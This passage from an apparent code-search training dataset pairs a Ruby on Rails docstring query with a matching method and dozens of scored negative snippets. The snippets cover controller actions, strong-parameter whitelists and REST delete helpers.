json: Item.delete(params[\"id\"])\n end", "def destroy\n @v1_message = V1::Message.find(params[:id])\n @v1_message.destroy\n\n head :no_content\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n @verb.destroy\n respond_to do |format|\n format.html { redirect_to verbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end", "def destroy\n @bot_server.destroy\n respond_to do |format|\n format.html { redirect_to bot_servers_url }\n format.json { head :no_content }\n end\n end", "def delete(path, params = {})\n debug_log \"DELETE #{@host}#{path} params:#{params}\"\n res = connection.delete path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end", "def deleteRequest\n\n end", "def delete(path, params = {})\n post(path, params.merge(\"_method\" => \"delete\"))\n end", "def delete\n \n end" ]
[ "0.72264004", "0.7218138", "0.7183386", "0.7077406", "0.6934684", "0.6799898", "0.6723346", "0.67077225", "0.6700849", "0.6689655", "0.6689467", "0.6684283", "0.6684283", "0.6684283", "0.6684283", "0.6642257", "0.6591556", "0.6577685", "0.65410274", "0.65145236", "0.6500549", "0.64888203", "0.6486853", "0.64855766", "0.6454727", "0.6454727", "0.6453756", "0.6440816", "0.6410731", "0.64106923", "0.6410541", "0.63928574", "0.63927615", "0.63800573", "0.6363577", "0.6350685", "0.63343406", "0.63318217", "0.63318217", "0.63275886", "0.631796", "0.63009655", "0.6300063", "0.6289198", "0.6277237", "0.62720627", "0.62714404", "0.6242298", "0.6241154", "0.6237922", "0.62152123", "0.62125576", "0.6211897", "0.62081456", "0.61917275", "0.61855954", "0.61819977", "0.61815506", "0.61799604", "0.61779153", "0.61771995", "0.6176222", "0.61741", "0.6171891", "0.6168343", "0.6166611", "0.6152071", "0.614828", "0.614828", "0.614828", "0.614828", "0.614828", "0.614828", "0.614828", "0.61465424", "0.6143943", "0.6133229", "0.6125489", "0.61246735", "0.61218226", "0.6120986", "0.611827", "0.61075824", "0.61071754", "0.6102006", "0.6098496", "0.60965204", "0.60949117", "0.6092226", "0.6085125", "0.60836375", "0.60791564", "0.6078212", "0.6070229", "0.60697603", "0.6060916", "0.60456944", "0.60437757", "0.604266", "0.604256" ]
0.73457795
0
Use callbacks to share common setup or constraints between actions.
def set_command @command = Command.find_by(id: params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def command_params params.permit(:command_name, :post_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
GET /stories GET /stories.json
def index @page_title = 'Stories' if params[:tag_id] @obj = Tag.find_by_name(params[:tag_id]) elsif params[:character_id] @obj = Character.find(params[:character_id]) elsif params[:source_id] @obj = Source.find(params[:source_id]) else @base_stories = Story.all unless can_see_adult? @base_stories = Story.non_adult(@base_stories) .or(stories.where(user: current_user_or_guest)) end end if @obj.present? @base_stories = @obj.visible_stories(current_user_or_guest) # @page_title.prepend(@obj.name + ' ') @page_title += " in \"#{@obj.name}\"" end @base_stories = do_filtering(@base_stories) # exact_filters = {} # fuzzy_filters = {} # # %i[tags sources characters].each do |tp| # exact_filters[tp] = params["filter_#{tp}".to_sym] # fuzzy_filters[tp] = params["other_#{tp}".to_sym] # end # @base_stories = Story.tsc_wrapper(@base_stories, exact_filters, true) # @base_stories = Story.tsc_wrapper(@base_stories, fuzzy_filters, false) # query_params = { # tags: params[:other_tags], # sources: params[:other_sources], # characters: params[:other_characters] # } # @base_stories = Story.tsc_search(@base_stories, query_params) # @base_stories = Story.tsc_search(@base_stories, params) # sort_by = params[:sort_by] ? params[:sort_by].to_sym : :updated_at # sort_dir = params[:sort_direction] ? params[:sort_direction].to_sym : :desc # if sort_by == :num_comments # @stories = @base_stories.left_outer_joins(:comments) # .select('stories.*, COUNT(comments.*)') # .group('stories.id') # .order("COUNT(comments.*) #{sort_dir}") # else # @stories = @base_stories.order(sort_by => sort_dir) # end # unless can_see_adult? # # @base_stories = @base_stories.reject(&:is_adult?) # @base_stories = Story.non_adult(@base_stories) # end @stories = Story.s_sort(@base_stories, params[:sort_by], params[:sort_direction]) @stories = @stories.paginate(page: params[:page], per_page: 10) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @stories = Story.all\n render json: @stories, root: false\n end", "def index\n @stories = Story.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @stories }\n end\n end", "def get_stories\n api_url = \"#{CONFIG[:api_location]}/projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def show\n story = Story.find(params[:id])\n render json: story\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def get_stories\n api_url = \"#{CONFIG[:api_url]}projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| TrackR::Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end", "def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end", "def index\n @sprintstories = Sprintstory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprintstories }\n end\n end", "def index\n # description of @stories is not necessary - it is handled by decent_exposure\n end", "def list_stories(opts = {})\n data, _status_code, _headers = list_stories_with_http_info(opts)\n data\n end", "def index\n render json: Story.all\n end", "def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end", "def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def task_stories(id, options = {})\n request(:get, \"tasks/#{id}/stories\", options)\n end", "def stories\n @stories ||= Stories.new(data)\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def get_mashable_stories\n\n\ts = JSON.load(RestClient.get('http://mashable.com/stories.json')) \n\ts[\"hot\"].map do |story|\n\ts = {story: story[\"title\"], category: 